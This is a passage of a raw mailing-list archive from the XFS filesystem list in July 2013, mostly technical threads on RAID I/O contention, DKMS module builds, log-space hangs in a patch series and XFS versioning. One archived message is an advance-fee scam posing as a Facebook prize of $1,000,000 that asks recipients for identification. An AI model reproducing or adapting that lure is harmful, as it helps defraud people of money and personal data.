Given it is RAID 50, it's > > probably really slow IO, and probably lots of threads wanting the > > lock and queuing up on it. > > > > What's 'iostat -m -x -d 5' look like when these messages are dumped > > out? > > Don't have that but some nagios stats. There were 1000 iop/s and 8MB/s. Yup, that sounds like it was doing lots of small random IOs and hence was IO bound... > But i can reduce the tasks done in parallel if this is the problem. Try and find out what the average IO times were when the messages are being emitted. If that's up in the seconds, then it's a good chance you are simply throwing too many small IOs at your storage. Cheers, Dave. -- Dave Chinner david@fromorbit.com From s.priebe@profihost.ag Mon Jul 29 06:02:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2998D7F3F for ; Mon, 29 Jul 2013 06:02:54 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B96B6AC002 for ; Mon, 29 Jul 2013 04:02:49 -0700 (PDT) X-ASG-Debug-ID: 1375095766-04bdf02f211c9bc0001-NocioJ Received: from mail-ph.de-nserver.de (mail-ph.de-nserver.de [85.158.179.214]) by cuda.sgi.com with ESMTP id bNE1XVkhzmoC1vj2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 29 Jul 2013 04:02:48 -0700 (PDT) X-Barracuda-Envelope-From: s.priebe@profihost.ag X-Barracuda-Apparent-Source-IP: 85.158.179.214 Received: (qmail 15733 invoked from network); 29 Jul 2013 13:02:45 +0200 X-Fcrdns: No Received: from fw-office.allied-internet.ag (HELO [192.168.1.148]) (85.158.179.66) (smtp-auth username hostmaster@profihost.com, mechanism plain) by mail-ph.de-nserver.de (qpsmtpd/0.92) with (AES256-SHA encrypted) ESMTPSA; Mon, 29 Jul 2013 13:02:45 +0200 Message-ID: <51F64BD5.9040604@profihost.ag> Date: Mon, 29 Jul 2013 13:02:45 +0200 From: Stefan Priebe - Profihost AG User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130623 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" , "xfs-masters@oss.sgi.com" Subject: Re: Vanilla 3.0.78 References: <51F61C39.6050200@profihost.ag> <20130729082228.GG13468@dastard> <51F62878.4090408@profihost.ag> <20130729100134.GH13468@dastard> X-ASG-Orig-Subj: Re: Vanilla 3.0.78 In-Reply-To: <20130729100134.GH13468@dastard> X-Enigmail-Version: 1.4.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-User-Auth: Auth by hostmaster@profihost.com through 85.158.179.66 X-Barracuda-Connect: mail-ph.de-nserver.de[85.158.179.214] X-Barracuda-Start-Time: 1375095767 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137402 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Am 29.07.2013 12:01, schrieb Dave Chinner: > On Mon, Jul 29, 2013 at 10:31:52AM +0200, Stefan Priebe - Profihost AG wrote: >> Am 29.07.2013 10:22, schrieb Dave Chinner: >>> On Mon, Jul 29, 2013 at 09:39:37AM +0200, Stefan Priebe - Profihost AG wrote: >>>> Hi, >>>> >>>> while running 3.0.78 and doing heavy rsync tasks on a raid 50 i'm gettig >>>> these call traces: >>> >>> Judging by the timestamps the problem clears and the system keeps >>> running? >> >> Yes. >> >>> If so, the problem is likely to be a combination of contention on a >>> specific AG for allocation and slow IO. Given it is RAID 50, it's >>> probably really slow IO, and probably lots of threads wanting the >>> lock and queuing up on it. >>> >>> What's 'iostat -m -x -d 5' look like when these messages are dumped >>> out? >> >> Don't have that but some nagios stats. There were 1000 iop/s and 8MB/s. > > Yup, that sounds like it was doing lots of small random IOs and > hence was IO bound... > >> But i can reduce the tasks done in parallel if this is the problem. > > Try and find out what the average IO times were when the messages > are being emitted. If that's up in the seconds, then it's a good > chance you are simply throwing too many small IOs at your storage. Thanks! Stefan From login.facebookk@gmail.com Mon Jul 29 07:04:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.6 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, LOTS_OF_MONEY,T_DKIM_INVALID,US_DOLLARS_3 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8D8DF7F3F for ; Mon, 29 Jul 2013 07:04:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6D66B304071 for ; Mon, 29 Jul 2013 05:04:42 -0700 (PDT) X-ASG-Debug-ID: 1375099480-04cb6c2e9d1cafd0001-NocioJ Received: from mail-we0-f194.google.com (mail-we0-f194.google.com [74.125.82.194]) by cuda.sgi.com with ESMTP id MCvXDqtg0G4L3HpG (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 29 Jul 2013 05:04:41 -0700 (PDT) X-Barracuda-Envelope-From: login.facebookk@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.194 Received: by mail-we0-f194.google.com with SMTP id w62so1504926wes.9 for ; Mon, 29 Jul 2013 05:04:40 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:sender:date:x-google-sender-auth:message-id :subject:from:to:content-type; bh=htb0uinMfWbofbQMy9iE/UkPr5qUxYc+hx5IIqpp5Zw=; b=UdHwDYgNb454nmFjwOFma4Hqdw0Ee8meKkveyc64hOH6i5/64HWNtW5E+ot50hqxZf OiBvZtzU97fTxmCJfUWjXiYJHd1Inbn3+7kBzEC8eLqcjc7wHtGcHHt2mCxf7xVoHHn7 8ZzgvZfkSgEjs8AMMH25CLDfXPNfdnSUbh41fIYVuMiyvhosdhdl+ZNz8D9wreyzJTEi DhpEy0kBBEvskbJwnb6eiVHo7S7zg6/IBhupSloGbiXAxy2hPRVE4N+H6fS1oyWKSJL2 fIEzO+NkE0QV3m9q/k4dKiKSb5MoYkR4CdD5kMnBR75o84jo+L9Pb2ZPcjHgUeeQ9gLL IqnA== MIME-Version: 1.0 X-Received: by 10.180.14.105 with SMTP id o9mr6977369wic.30.1375099479563; Mon, 29 Jul 2013 05:04:39 -0700 (PDT) Reply-To: facebooka39prommo@aol.com Sender: login.facebookk@gmail.com Received: by 10.216.24.201 with HTTP; Mon, 29 Jul 2013 05:04:39 -0700 (PDT) Date: Mon, 29 Jul 2013 13:04:39 +0100 X-Google-Sender-Auth: hIRS_ikbZVd4pXYc-m7IJbyah8Y Message-ID: Subject: Facebook ! From: facebook X-ASG-Orig-Subj: Facebook ! To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=f46d040fa1d402ae6304e2a54c85 X-Barracuda-Connect: mail-we0-f194.google.com[74.125.82.194] X-Barracuda-Start-Time: 1375099481 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.17 X-Barracuda-Spam-Status: No, SCORE=0.17 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, US_DOLLARS_3 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137402 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.17 US_DOLLARS_3 BODY: Mentions millions of $ ($NN,NNN,NNN.NN) 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) --f46d040fa1d402ae6304e2a54c85 Content-Type: text/plain; charset=ISO-8859-1 FACEBOOK PROMOTION FROM: THE DESK OF THE VICE PRESIDENT. INTERNATIONAL PROMOTIONS/PRIZE AWARD. BATCH NO: FLNL/009842/04. REF. NO. FLNL/107654/04 You are among the 200 Lucky Winners selected for Facebook 2013 promotion award. Your Facebook name was selected randomly by the Facebook CEO ( Mark Zuckerberg ) and the sum of One Million Dollars ($1,000,000.00) was awarded to your name. Please contact your Facebook Funds Manager with a proof of identification for claim. Gram Timothy Facebook Funds Manager. E-Mail: facebooka39prommo@aol.com Telephone : +1 507 481 0079. You are advised to contact the Manager in charge as soon as possible at the above Email,failure to do so might result to funds been returned unclaimed. Thank You Facebook Team. --f46d040fa1d402ae6304e2a54c85 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    FACEBOOK PROMOTION FROM:
    THE DESK OF THE VICE PRESIDENT= .
    INTERNATIONAL PROMOTIONS/PRIZE AWARD.
    BATCH NO: FLNL/009842/04.
    = REF. NO. FLNL/107654/04

    You are among the 200 Lucky Winners selected= for Facebook 2013 promotion award. Your Facebook name was selected=A0 rand= omly by the Facebook CEO ( Mark Zuckerberg ) and the sum of One Million=A0 = Dollars ($1,000,000.00) was awarded to=A0 your name.

    Please=A0 contact your Facebook Funds Manager with a proof of identific= ation for claim.

    Gram Timothy
    Facebook Funds Manager.
    E-Mail: = facebooka39prommo@aol.com<= br> Telephone : +1 507 481 0079.

    You are advised to contact the Manager = in charge as soon as possible at the above Email,failure to do so might res= ult=A0 to funds been returned unclaimed.

    Thank You Facebook Team.
    --f46d040fa1d402ae6304e2a54c85-- From sandeen@sandeen.net Mon Jul 29 08:38:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E62257F3F for ; Mon, 29 Jul 2013 08:38:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D48C28F8050 for ; Mon, 29 Jul 2013 06:38:40 -0700 (PDT) X-ASG-Debug-ID: 1375105119-04cbb02c3b1d0bf0001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id jNX5lhAW0wsITa27 for ; Mon, 29 Jul 2013 06:38:39 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 28B8B653EDF9; Mon, 29 Jul 2013 08:38:39 -0500 (CDT) Message-ID: <51F6705E.5040309@sandeen.net> Date: Mon, 29 Jul 2013 08:38:38 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Keith Keller CC: linux-xfs@oss.sgi.com Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) References: <20130729000247.GA13468@dastard> <32553786.2492.1375056392388.JavaMail.root@benjamin.baylink.com> <20130729024105.GC13468@dastard> <2m4hcax0nv.ln2@goaway.wombat.san-francisco.ca.us> <109D380F-F26C-4DA1-87DC-27466198AE22@sandeen.net> <2b9hcaxru.ln2@goaway.wombat.san-francisco.ca.us> X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) In-Reply-To: <2b9hcaxru.ln2@goaway.wombat.san-francisco.ca.us> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1375105119 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137405 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/28/13 11:57 PM, Keith Keller wrote: > On 2013-07-29, Eric Sandeen wrote: >> >> In general, no. There are a lot of moving parts that interface with >> the filesystem - one does not simply drop fs/xfs from, say, kernel >> 3.2 into a 2.6.32 kernel. > > I apologize for the confusion, this was not what I was implying was > possible. Let me try to be more explicit. Unfortunately, I no longer > have a history of what I did, because I ultimately abandoned it, so my > example will be hypothetical. > > The current stable kernel is 3.10.4. Let's suppose that 3.10.5 comes > out tomorrow with some interesting patches to fs/xfs. Is it possible > using dkms to build the 3.10.5 version of the xfs module for a running > 3.10.4 kernel? "Probably / Maybe" It really depends on what changed from 3.10.4 to 3.10.5, but odds are, kernel interfaces did not change, so - probably fine. If not, you get to keep all the pieces, etc. > And if so, is there a way for the module to report its > own version? Say it with me: there is no xfs module version. :) The "module version" is inherited from the kernel it's built against. $ modinfo xfs ... vermagic: 2.6.32-279.22.1.el6.x86_64 SMP mod_unload modversions > There should (in theory) be much less wizardry involved in > this scenario than in the difficult scenario of porting 3.10's xfs back > to 2.6, and is more along the lines of what I remember doing a short > time back). (To be specific, IIRC what I did was took a proposed patch > against my running kernel version, which had not yet been incorporated > in the distro kernel, and tested it by replacing the distro kernel's > module with one I built via DKMS. But as I mentioned, I have no docs on > this, so I could be misremembering the process.) Yeah, short version hops are more likely to be ok. And taking kernel version X's xfs, and applying a bugfix patch, and rebuilding it against the same kernel headers should be fine. Still a little wizardry, but not bad for a kernel-savvy person. > I am not intentionally trying to be difficult. :) I am genuinely > just curious about the answer. If it's "no" (or perhaps, in this > specific scenario, it's "use the dkms tools"), it still provides me with > valuable information I did not previously have. Sure, I don't think you're being difficult. The further you go off the reservation, the less tested things are, and the less likely they are to work. Building a tweaked, same-era module against a slightly different kernel is likely to be fine; it's when you get more & more changed / moving parts that it becomes trickier. But you need to know enough to know what you're changing and/or what has changed in the kernel, to know if what you're doing is completely safe, probably safe, or unlikely to be safe... -Eric > --keith > From tinguely@sgi.com Mon Jul 29 09:15:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5476D7F3F for ; Mon, 29 Jul 2013 09:15:20 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id F22AE8F804C; Mon, 29 Jul 2013 07:15:16 -0700 (PDT) Message-ID: <51F678F4.2020003@sgi.com> Date: Mon, 29 Jul 2013 09:15:16 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: "Michael L. Semon" , xfs@oss.sgi.com Subject: Re: [PATCH 44/49] xfs: Reduce allocations during CIL insertion References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-45-git-send-email-david@fromorbit.com> <51EEF26F.5040001@sgi.com> <51EEF949.9020104@gmail.com> <51EFD68A.40400@sgi.com> <51F2E011.5020904@gmail.com> <51F2E4DD.4020301@sgi.com> <20130727015822.GV13468@dastard> <51F41250.9010703@sgi.com> <20130728011255.GY13468@dastard> In-Reply-To: <20130728011255.GY13468@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/27/13 20:12, Dave Chinner wrote: > On Sat, Jul 27, 2013 at 01:32:48PM -0500, Mark Tinguely wrote: >> On 07/26/13 20:58, Dave Chinner wrote: >>> On Fri, Jul 26, 2013 at 04:06:37PM -0500, Mark Tinguely wrote: >>>> >>>> I can reproduce a problem in patch 44 too. It takes my copy test 20 >>>> minutes to deplete the log space with patch 44, Same test with patch >>>> 43 has been running a day and a half. I do not think that patch 44 >>>> is 100 times faster than patch 43 but I will let patch 43 spin all >>>> weekend on a couple machines to verify that patch 43 does not hang. >>> >>> Details, please. What's your "copy test"? >>> >>> http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F >>> >>> Cheers, >>> >>> Dave. >> >> Micheal found the problem using a simple copy, so I am using copy-like test. >> >> I have hung patch 44 with fsstress but I am currently using the >> simple perl scripts from bugzilla bug 922, but I do not do the silly >> step of reducing the log to an abnormal amount. >> >> Just mkfs the filesystem >> >> Create the the test files. the creation script: >> http://oss.sgi.com/bugzilla/attachment.cgi?id=304 >> >> Run the test script: >> http://oss.sgi.com/bugzilla/attachment.cgi?id=305 >> ---- >> This test seems to stress the log much like xfstest 273 only it runs >> forever. > > Ok, thanks, for the info, Mark. I'll try to reproduce it here. FWIW, > we should probably add this to xfstests as a "stress" test. i.e. not > part of the auto group, but something that uses the scale parameters > to determine runtime. then add all the other tests that have scale > parameters to the same group, and if we run ./check --stress > it runs through all the stress tests with that given scale factor... > > Cheers, > > Dave. BTW, the long term run of the copy.pl from bug 922 with patch 43 results: tail 0x601000055d7 grant/reserve 0x60100abb200 ctx t_unit_res 0x834 My log math may be off, tail/reserve diff is 1024, but the CTX holds more than that (2100 bytes). Looking at patch 44, it is the first time we use the calculation for the number of bytes in patch 43. So I am looking at where the new calculation in iop_size differs from the previous len calculation in xlog_cil_prepare_log_vecs(). So far, I am that inode entry is 140 bytes larger with the new calculation (former len 164 vrs new nbytes 304 type 123b - non-crc filesystem). I will see if I can substitute the nbytes for len (without triggering the ptr being exceeded assert) to see that will cause the hang. --Mark. From jra@baylink.com Mon Jul 29 09:25:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6AE077F3F for ; Mon, 29 Jul 2013 09:25:11 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 472FF8F8052 for ; Mon, 29 Jul 2013 07:25:11 -0700 (PDT) X-ASG-Debug-ID: 1375107909-04bdf02f231da580001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id G1kYUyCHgnzIs5j2 for ; Mon, 29 Jul 2013 07:25:09 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 5119B1F00462 for ; Mon, 29 Jul 2013 10:25:09 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id QLrWd3NMDGjl for ; Mon, 29 Jul 2013 10:25:05 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id 276551F0053F for ; Mon, 29 Jul 2013 10:24:45 -0400 (EDT) Date: Mon, 29 Jul 2013 10:24:45 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <4422459.2522.1375107885083.JavaMail.root@benjamin.baylink.com> In-Reply-To: <20130729024105.GC13468@dastard> Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) MIME-Version: 1.0 X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [107.41.63.95] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1375107909 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137407 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL ----- Original Message ----- > From: "Dave Chinner" > The "version" of XFS that you are running is that of the > kernel you are running. i.e. 2.6.32-279.x.y or 2.6.32-358.x.y. Those aren't kernel versions; those are kernel *package* versions. Kernel versions are w.x.y or w.x.y.z. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From jra@baylink.com Mon Jul 29 09:33:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A9C467F3F for ; Mon, 29 Jul 2013 09:33:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 29943AC003 for ; Mon, 29 Jul 2013 07:33:53 -0700 (PDT) X-ASG-Debug-ID: 1375108431-04cbb02c3b1d5830001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id VKfJujlxYFXpWtiI for ; Mon, 29 Jul 2013 07:33:51 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 4ABD61F00532 for ; Mon, 29 Jul 2013 10:33:51 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ww3TMJgZby+2 for ; Mon, 29 Jul 2013 10:33:47 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id 231041F0046E for ; Mon, 29 Jul 2013 10:33:47 -0400 (EDT) Date: Mon, 29 Jul 2013 10:33:47 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <22688573.2526.1375108427119.JavaMail.root@benjamin.baylink.com> In-Reply-To: <51F5EB56.5040909@hardwarefreak.com> Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) MIME-Version: 1.0 X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [107.41.63.95] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1375108431 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137407 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL ----- Original Message ----- > From: "Stan Hoeppner" > >>> And... all the way back to Jason's original question: > >>> > >>> The way that you get the information out of a kernel/kernel RPM to > >>> determine which XFS version it's running... is? Cause it's clearly > >>> not obvious to either him or me. > >> > >> The "version" of XFS that you are running is that of the > >> kernel you are running. i.e. 2.6.32-279.x.y or 2.6.32-358.x.y. > > > > IOWS: There is no spoon. ;) > > Excellent quote Eric, love the Matrix movies. > > I think the problem here is a lack of understanding of the kernel > development and commit process. AFAIK there's not a single Linux > subsystem that has a standalone version number or versioning scheme. > Not the other filesystems, not the USB subsystem, SCSI, ATA, etc. The > version of each is simply the version of the kernel they are included > in. > > I've been wondering throughout this thread where anyone got the idea > that there is an XFS version that can be traced/tracked. Maybe because > xfsprogs have a version number? The way to track XFS changes from > kernel to kernel is to look at the commits, as others have already > stated. I got it from the fact that Jason was asked -- and when I was working with Dave a couple weeks ago, *I* was asked -- "which XFS code we had". Filesystems are one of the few kernel subsystems which "leave tracks", and for it, therefore, *matters* which version of the code you're running, and that's why the issue comes up. There *is* an "XFS version", by inspection of these conversations, and by general knowledge of how filesystem drivers work. That it's backwards compatible isn't really germane to the point that *there are different versions of the code*. If those versions matter, than that's why we version-number things: so the people having problems and the people providing support can have reasonable, cogent conversations where they know what the hell they're talking about. And yes, I *don't* know kernel build practice, cause *I don't work with those people*. We're sorta hoping you guys do, and therefore can tell us *which quantity we're supposed to be trying to find*, so that we can answer the questions you ask us while you're trying to help us fix problems in your code, for free. If the question is "which GIT version was checked out to build the kernel SRPM that made the kernel RPM I'm running from", just say that, and if necessary, we'll go off and look. But let's not try to pretend that "there is no version" of the XFS kernel code, because clearly there is. If there's no "version number"... well, that's not something I would be bragging about. I really do apologize for sounding so combative about this stuff; I'm not really trying to be, but "things have version numbers" has been best practice for 3 decades for a reason, and I think it's a pretty good one: avoiding fights like this. Cheers, -- jra Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From jra@baylink.com Mon Jul 29 09:36:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DF7DC7F3F for ; Mon, 29 Jul 2013 09:36:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CBA668F804C for ; Mon, 29 Jul 2013 07:36:45 -0700 (PDT) X-ASG-Debug-ID: 1375108604-04cbb02c3c1d5c00001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id foz1sK7E9glFFdA4 for ; Mon, 29 Jul 2013 07:36:44 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 